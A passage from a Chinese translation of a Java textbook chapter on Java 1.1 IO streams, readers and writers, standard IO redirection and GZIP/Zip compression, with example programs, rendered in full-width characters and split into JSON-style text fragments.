ＰｕｓｈＢａｃｋＩｎｐｕｔＳｔｒｅａｍ ＰｕｓｈＢａｃｋＲｅａｄｅｒ 有一条规律是显然的：若想使用 ｒｅａｄＬｉｎｅ（），就不要再用一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 来实现（否则会在编译期得 到一条出错消息），而应使用一个 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ。"},
    {"text": "１ ０ ． ７ ． ３ 未改变的类 显然，Ｊａｖａ 库的设计人员觉得以前的一些类毫无问题，所以没有对它们作任何修改，可象以前那样继续使用 它们： 没有对应 Ｊａｖａ １．１ 类的 Ｊａｖａ １．０ 类 ３０６ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ Ｆｉｌｅ ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ ＳｅｑｕｅｎｃｅＩｎｐｕｔＳｔｒｅａｍ 特别未加改动的是 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ，所以为了用一种可转移的格式保存和获取数据，必须沿用 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 层次结构。 １ ０ ． ７ ． ４ 一个例子 为体验新类的效果，下面让我们看看如何修改 ＩＯＳｔｒｅａｍＤｅｍｏ．ｊａｖａ 示例的相应区域，以便使用 Ｒｅａｄｅｒ 和 Ｗｒｉｔｅｒ 类： ／／： ＮｅｗＩＯＤｅｍｏ．ｊａｖａ ／／ Ｊａｖａ １．１ ＩＯ ｔｙｐｉｃａｌ ｕｓａｇｅ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＮｅｗＩＯＤｅｍｏ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ／／ １． Ｒｅａｄｉｎｇ ｉｎｐｕｔ ｂｙ ｌｉｎｅｓ： ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（ａｒｇｓ［０］））；"},
    {"text": "Ｓｔｒｉｎｇ ｓ， ｓ２ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｗｈｉｌｅ（（ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（））！ ＝ ｎｕｌｌ） ｓ２ ＋＝ ｓ ＋ ＂＼ｎ＂； ｉｎ．ｃｌｏｓｅ（）； ／／ １ｂ． Ｒｅａｄｉｎｇ ｓｔａｎｄａｒｄ ｉｎｐｕｔ： ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｓｔｄｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（Ｓｙｓｔｅｍ．ｉｎ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂Ｅｎｔｅｒ ａ ｌｉｎｅ：＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓｔｄｉｎ．ｒｅａｄＬｉｎｅ（））； ／／ ２． Ｉｎｐｕｔ ｆｒｏｍ ｍｅｍｏｒｙ ＳｔｒｉｎｇＲｅａｄｅｒ ｉｎ２ ＝ ｎｅｗ ＳｔｒｉｎｇＲｅａｄｅｒ（ｓ２）； ｉｎｔ ｃ； ｗｈｉｌｅ（（ｃ ＝ ｉｎ２．ｒｅａｄ（）） ！ ＝ －１） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（（ｃｈａｒ）ｃ）； ／／ ３． Ｆｏｒｍａｔｔｅｄ ｍｅｍｏｒｙ ｉｎｐｕｔ ｔｒｙ ｛ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ３ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ／／ Ｏｏｐｓ： ｍｕｓｔ ｕｓｅ ｄｅｐｒｅｃａｔｅｄ ｃｌａｓｓ： ｎｅｗ ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ（ｓ２））； ｗｈｉｌｅ（ｔｒｕｅ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（（ｃｈａｒ）ｉｎ３．ｒｅａｄＢｙｔｅ（））； ｝ ｃａｔｃｈ（ＥＯＦＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｎｄ ｏｆ ｓｔｒｅａｍ＂）； ３０７ ｝ ／／ ４． Ｌｉｎｅ ｎｕｍｂｅｒｉｎｇ ＆ ｆｉｌｅ ｏｕｔｐｕｔ ｔｒｙ ｛ ＬｉｎｅＮｕｍｂｅｒＲｅａｄｅｒ ｌｉ ＝ ｎｅｗ ＬｉｎｅＮｕｍｂｅｒＲｅａｄｅｒ（ ｎｅｗ ＳｔｒｉｎｇＲｅａｄｅｒ（ｓ２））； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ４ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ｌｉ）； ＰｒｉｎｔＷｒｉｔｅｒ ｏｕｔ１ ＝ ｎｅｗ ＰｒｉｎｔＷｒｉｔｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ（ ｎｅｗ ＦｉｌｅＷｒｉｔｅｒ（＂ＩＯＤｅｍｏ．ｏｕｔ＂）））； ｗｈｉｌｅ（（ｓ ＝ ｉｎ４．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ ） ｏｕｔ１．ｐｒｉｎｔｌｎ（ ＂Ｌｉｎｅ ＂ ＋ ｌｉ．ｇｅｔＬｉｎｅＮｕｍｂｅｒ（） ＋ ｓ）； ｏｕｔ１．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＥＯＦＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｎｄ ｏｆ ｓｔｒｅａｍ＂）； ｝ ／／ ５． Ｓｔｏｒｉｎｇ ＆ ｒｅｃｏｖｅｒｉｎｇ ｄａｔａ ｔｒｙ ｛ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ２ ＝ ｎｅｗ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂Ｄａｔａ．ｔｘｔ＂）））； ｏｕｔ２．ｗｒｉｔｅＤｏｕｂｌｅ（３．１４１５９）； ｏｕｔ２．ｗｒｉｔｅＢｙｔｅｓ（＂Ｔｈａｔ ｗａｓ ｐｉ＂）； ｏｕｔ２．ｃｌｏｓｅ（）； ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ５ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂Ｄａｔａ．ｔｘｔ＂）））； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ５ｂｒ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（ｉｎ５））； ／／ Ｍｕｓｔ ｕｓｅ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｆｏｒ ｄａｔａ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎ５．ｒｅａｄＤｏｕｂｌｅ（））； ／／ Ｃａｎ ｎｏｗ ｕｓｅ ｔｈｅ ＂ｐｒｏｐｅｒ＂ ｒｅａｄＬｉｎｅ（）： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎ５ｂｒ．ｒｅａｄＬｉｎｅ（））； ｝ ｃａｔｃｈ（ＥＯＦＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｎｄ ｏｆ ｓｔｒｅａｍ＂）； ｝ ／／ ６． Ｒｅａｄｉｎｇ ａｎｄ ｗｒｉｔｉｎｇ ｒａｎｄｏｍ ａｃｃｅｓｓ ／／ ｆｉｌｅｓ ｉｓ ｔｈｅ ｓａｍｅ ａｓ ｂｅｆｏｒｅ． ／／ （ｎｏｔ ｒｅｐｅａｔｅｄ ｈｅｒｅ） ｝ ｃａｔｃｈ（ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｆｉｌｅ Ｎｏｔ Ｆｏｕｎｄ：＂ ＋ ａｒｇｓ［１］）； ３０８ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＩＯ Ｅｘｃｅｐｔｉｏｎ＂）；"},
    {"text": "第 １ 节收缩了一点儿，因为假如要做的全部事情就是读取行输入，那么只需要将一个 ＦｉｌｅＲｅａｄｅｒ 封装到 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ 之内即可。"},
    {"text": "这里的代码量增 多了一些，因为 Ｓｙｓｔｅｍ．ｉｎ 是一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ，而且 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ 需要一个 Ｒｅａｄｅｒ 参数，所以要 用 ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ 来进行转换。 在 ２ 节，可以看到如果有一个字串，而且想从中读取数据，只需用一个 ＳｔｒｉｎｇＲｅａｄｅｒ 替换 ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ，剩下的代码是完全相同的。"},
    {"text": "但是，假如要象第 ３ 节这样进行格式化的内存 输入，就必须使用 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ——没有什么“ＤａｔａＲｅａｄｅｒ”可以代替它——而 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 很不 幸地要求用到一个 ＩｎｐｕｔＳｔｒｅａｍ 参数。"},
    {"text": "在第 ５ 节中，我们被强迫使 用所有的老式数据流，因为 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 和 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 要求用到它们，而且没有可供替换的东 西。"},
    {"text": "但在 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 的情况下，只有 ｒｅａｄＬｉｎｅ（）是不赞成使用的，因为 我们最好为 ｒｅａｄＬｉｎｅ（）使用一个 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（但为其他所有格式化输入都使用一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ）。"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＩＯＢｕｇ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂Ｄａｔａ．ｔｘｔ＂）））；"},
    {"text": "ｏｕｔ．ｗｒｉｔｅＤｏｕｂｌｅ（３．１４１５９）； ｏｕｔ．ｗｒｉｔｅＢｙｔｅｓ（＂Ｔｈａｔ ｗａｓ ｔｈｅ ｖａｌｕｅ ｏｆ ｐｉ＼ｎ＂）； ｏｕｔ．ｗｒｉｔｅＢｙｔｅｓ（＂Ｔｈｉｓ ｉｓ ｐｉ／２：＼ｎ＂）； ｏｕｔ．ｗｒｉｔｅＤｏｕｂｌｅ（３．１４１５９／２）； ｏｕｔ．ｃｌｏｓｅ（）； ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ３０９ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂Ｄａｔａ．ｔｘｔ＂）））； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎｂｒ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（ｉｎ））； ／／ Ｔｈｅ ｄｏｕｂｌｅｓ ｗｒｉｔｔｅｎ ＢＥＦＯＲＥ ｔｈｅ ｌｉｎｅ ｏｆ ｔｅｘｔ ／／ ｒｅａｄ ｂａｃｋ ｃｏｒｒｅｃｔｌｙ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎ．ｒｅａｄＤｏｕｂｌｅ（））； ／／ Ｒｅａｄ ｔｈｅ ｌｉｎｅｓ ｏｆ ｔｅｘｔ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎｂｒ．ｒｅａｄＬｉｎｅ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎｂｒ．ｒｅａｄＬｉｎｅ（））； ／／ Ｔｒｙｉｎｇ ｔｏ ｒｅａｄ ｔｈｅ ｄｏｕｂｌｅｓ ａｆｔｅｒ ｔｈｅ ｌｉｎｅ ／／ ｐｒｏｄｕｃｅｓ ａｎ ｅｎｄ－ｏｆ－ｆｉｌｅ ｅｘｃｅｐｔｉｏｎ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉｎ．ｒｅａｄＤｏｕｂｌｅ（））；"},
    {"text": "此时要用到 下述简单的静态方法调用： ｓｅｔＩｎ（ＩｎｐｕｔＳｔｒｅａｍ） ｓｅｔＯｕｔ（ＰｒｉｎｔＳｔｒｅａｍ） ｓｅｔＥｒｒ（ＰｒｉｎｔＳｔｒｅａｍ） 如果突然要在屏幕上生成大量输出，而且滚动的速度快于人们的阅读速度，输出的重定向就显得特别有用。"},
    {"text": "下面这 个简单的例子展示了这些方法的使用： ／／： Ｒｅｄｉｒｅｃｔｉｎｇ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ｕｓｅ ｏｆ ｒｅｄｉｒｅｃｔｉｏｎ ｆｏｒ ／／ ｓｔａｎｄａｒｄ ＩＯ ｉｎ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｃｌａｓｓ Ｒｅｄｉｒｅｃｔｉｎｇ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（ ＂Ｒｅｄｉｒｅｃｔｉｎｇ．ｊａｖａ＂））； ／／ Ｐｒｏｄｕｃｅｓ ｄｅｐｒｅｃａｔｉｏｎ ｍｅｓｓａｇｅ： ＰｒｉｎｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＰｒｉｎｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂ｔｅｓｔ．ｏｕｔ＂）））；"},
    {"text": "Ｓｙｓｔｅｍ．ｓｅｔＩｎ（ｉｎ）； Ｓｙｓｔｅｍ．ｓｅｔＯｕｔ（ｏｕｔ）； Ｓｙｓｔｅｍ．ｓｅｔＥｒｒ（ｏｕｔ）； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｂｒ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ３１０ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（Ｓｙｓｔｅｍ．ｉｎ））； Ｓｔｒｉｎｇ ｓ； ｗｈｉｌｅ（（ｓ ＝ ｂｒ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｏｕｔ．ｃｌｏｓｅ（）； ／／ Ｒｅｍｅｍｂｅｒ ｔｈｉｓ！ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "用－ｄｅｐｒｅｃａｔｉｏｎ 标志编译时得到的消息如下： Ｎｏｔｅ：Ｔｈｅ ｃｏｎｓｔｒｕｃｔｏｒ ｊａｖａ．ｉｏ．ＰｒｉｎｔＳｔｒｅａｍ（ｊａｖａ．ｉｏ．ＯｕｔｐｕｔＳｔｒｅａｍ） ｈａｓ ｂｅｅｎ ｄｅｐｒｅｃａｔｅｄ． 注意：不推荐使用构建器 ｊａｖａ．ｉｏ．ＰｒｉｎｔＳｔｒｅａｍ（ｊａｖａ．ｉｏ．ＯｕｔｐｕｔＳｔｒｅａｍ）。"},
    {"text": "然而，无论 Ｓｙｓｔｅｍ．ｓｅｔＯｕｔ（）还是 Ｓｙｓｔｅｍ．ｓｅｔＥｒｒ（）都要求用一个 ＰｒｉｎｔＳｔｒｅａｍ 作为参数使用，所以必须调用 ＰｒｉｎｔＳｔｒｅａｍ 构建器。"},
    {"text": "所以大家可能会觉得奇怪，既然 Ｊａｖａ １．１ 通过反对构建器而反对了整个 ＰｒｉｎｔＳｔｒｅａｍ，为什么库的设计人员在添加这个反对的同时，依然为 Ｓｙｓｔｅｍ 添加了新方法，且指明要求用 ＰｒｉｎｔＳｔｒｅａｍ，而不是用 ＰｒｉｎｔＷｒｉｔｅｒ 呢？"},
    {"text": "此时 Ｊａｖａ １．１ 的一个问题显得非常突出：它们不是从新的 Ｒｅａｄｅｒ 和 Ｗｒｉｔｅｒ 类衍生出来的，而是属于 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 层次结构的一部分。"},
    {"text": "所以有时不得不混合使用两种类型的数据流（注意可用 ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ 和 ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ 在不同的类型间方便地进行转换）。"},
    {"text": "Ｊａｖａ １．１ 压缩类 功能 ＣｈｅｃｋｅｄＩｎｐｕｔＳｔｒｅａｍ ＧｅｔＣｈｅｃｋＳｕｍ（）为任何 ＩｎｐｕｔＳｔｒｅａｍ 产生校验和（不仅是解压） ＣｈｅｃｋｅｄＯｕｔｐｕｔＳｔｒｅａｍ ＧｅｔＣｈｅｃｋＳｕｍ（）为任何 ＯｕｔｐｕｔＳｔｒｅａｍ 产生校验和（不仅是解压） ＤｅｆｌａｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 用于压缩类的基础类 ＺｉｐＯｕｔｐｕｔＳｔｒｅａｍ 一个 ＤｅｆｌａｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ，将数据压缩成 Ｚｉｐ 文件格式 ＧＺＩＰＯｕｔｐｕｔＳｔｒｅａｍ 一个 ＤｅｆｌａｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ，将数据压缩成 ＧＺＩＰ 文件格式 ＩｎｆｌａｔｅｒＩｎｐｕｔＳｔｒｅａｍ 用于解压类的基础类 ＺｉｐＩｎｐｕｔＳｔｒｅａｍ 一个 ＤｅｆｌａｔｅｒＩｎｐｕｔＳｔｒｅａｍ，解压用 Ｚｉｐ 文件格式保存的数据 ＧＺＩＰＩｎｐｕｔＳｔｒｅａｍ 一个 ＤｅｆｌａｔｅｒＩｎｐｕｔＳｔｒｅａｍ，解压用 ＧＺＩＰ 文件格式保存的数据 尽管存在许多种压缩算法，但是 Ｚｉｐ 和 ＧＺＩＰ 可能最常用的。"},
    {"text": "１ ０ ． ８ ． １ 用 Ｇ Ｚ Ｉ Ｐ 进行简单压缩 ＧＺＩＰ 接口非常简单，所以如果只有单个数据流需要压缩（而不是一系列不同的数据），那么它就可能是最适 当选择。"},
    {"text": "下面是对单个文件进行压缩的例子： ／／： ＧＺＩＰｃｏｍｐｒｅｓｓ．ｊａｖａ ／／ Ｕｓｅｓ Ｊａｖａ １．１ ＧＺＩＰ ｃｏｍｐｒｅｓｓｉｏｎ ｔｏ ｃｏｍｐｒｅｓｓ ／／ ａ ｆｉｌｅ ｗｈｏｓｅ ｎａｍｅ ｉｓ ｐａｓｓｅｄ ｏｎ ｔｈｅ ｃｏｍｍａｎｄ ／／ ｌｉｎｅ． ３１１ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．ｚｉｐ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＧＺＩＰｃｏｍｐｒｅｓｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（ａｒｇｓ［０］））； ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＧＺＩＰＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂ｔｅｓｔ．ｇｚ＂）））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｒｉｔｉｎｇ ｆｉｌｅ＂）； ｉｎｔ ｃ； ｗｈｉｌｅ（（ｃ ＝ ｉｎ．ｒｅａｄ（）） ！ ＝ －１） ｏｕｔ．ｗｒｉｔｅ（ｃ）； ｉｎ．ｃｌｏｓｅ（）； ｏｕｔ．ｃｌｏｓｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅａｄｉｎｇ ｆｉｌｅ＂）； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ２ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（ ｎｅｗ ＧＺＩＰＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂ｔｅｓｔ．ｇｚ＂））））； Ｓｔｒｉｎｇ ｓ； ｗｈｉｌｅ（（ｓ ＝ ｉｎ２．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 压缩类的用法非常直观——只需将输出流封装到一个 ＧＺＩＰＯｕｔｐｕｔＳｔｒｅａｍ 或者 ＺｉｐＯｕｔｐｕｔＳｔｒｅａｍ 内，并将输入 流封装到 ＧＺＩＰＩｎｐｕｔＳｔｒｅａｍ 或者 ＺｉｐＩｎｐｕｔＳｔｒｅａｍ 内即可。"},
    {"text": "然而，这是 一个很典型的例子，我们不得不混合使用新旧 ＩＯ 流：数据的输入使用 Ｒｅａｄｅｒ 类，而 ＧＺＩＰＯｕｔｐｕｔＳｔｒｅａｍ 的构 建器只能接收一个 ＯｕｔｐｕｔＳｔｒｅａｍ 对象，不能接收 Ｗｒｉｔｅｒ 对象。"},
    {"text": "／／： ＺｉｐＣｏｍｐｒｅｓｓ．ｊａｖａ ／／ Ｕｓｅｓ Ｊａｖａ １．１ Ｚｉｐ ｃｏｍｐｒｅｓｓｉｏｎ ｔｏ ｃｏｍｐｒｅｓｓ ／／ ａｎｙ ｎｕｍｂｅｒ ｏｆ ｆｉｌｅｓ ｗｈｏｓｅ ｎａｍｅｓ ａｒｅ ｐａｓｓｅｄ ／／ ｏｎ ｔｈｅ ｃｏｍｍａｎｄ ｌｉｎｅ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ３１２ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．ｚｉｐ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＺｉｐＣｏｍｐｒｅｓｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ ｆ ＝ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂ｔｅｓｔ．ｚｉｐ＂）； ＣｈｅｃｋｅｄＯｕｔｐｕｔＳｔｒｅａｍ ｃｓｕｍ ＝ ｎｅｗ ＣｈｅｃｋｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｆ， ｎｅｗ Ａｄｌｅｒ３２（））； ＺｉｐＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＺｉｐＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ｃｓｕｍ））； ｏｕｔ．ｓｅｔＣｏｍｍｅｎｔ（＂Ａ ｔｅｓｔ ｏｆ Ｊａｖａ Ｚｉｐｐｉｎｇ＂）； ／／ Ｃａｎ＇ｔ ｒｅａｄ ｔｈｅ ａｂｏｖｅ ｃｏｍｍｅｎｔ， ｔｈｏｕｇｈ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａｒｇｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｗｒｉｔｉｎｇ ｆｉｌｅ ＂ ＋ ａｒｇｓ［ｉ］）； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（ａｒｇｓ［ｉ］））； ｏｕｔ．ｐｕｔＮｅｘｔＥｎｔｒｙ（ｎｅｗ ＺｉｐＥｎｔｒｙ（ａｒｇｓ［ｉ］））； ｉｎｔ ｃ； ｗｈｉｌｅ（（ｃ ＝ ｉｎ．ｒｅａｄ（）） ！ ＝ －１） ｏｕｔ．ｗｒｉｔｅ（ｃ）； ｉｎ．ｃｌｏｓｅ（）； ｝ ｏｕｔ．ｃｌｏｓｅ（）； ／／ Ｃｈｅｃｋｓｕｍ ｖａｌｉｄ ｏｎｌｙ ａｆｔｅｒ ｔｈｅ ｆｉｌｅ ／／ ｈａｓ ｂｅｅｎ ｃｌｏｓｅｄ！ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｈｅｃｋｓｕｍ： ＂ ＋ ｃｓｕｍ．ｇｅｔＣｈｅｃｋｓｕｍ（）．ｇｅｔＶａｌｕｅ（））； ／／ Ｎｏｗ ｅｘｔｒａｃｔ ｔｈｅ ｆｉｌｅｓ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅａｄｉｎｇ ｆｉｌｅ＂）； ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ ｆｉ ＝ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂ｔｅｓｔ．ｚｉｐ＂）； ＣｈｅｃｋｅｄＩｎｐｕｔＳｔｒｅａｍ ｃｓｕｍｉ ＝ ｎｅｗ ＣｈｅｃｋｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｆｉ， ｎｅｗ Ａｄｌｅｒ３２（））； ＺｉｐＩｎｐｕｔＳｔｒｅａｍ ｉｎ２ ＝ ｎｅｗ ＺｉｐＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ 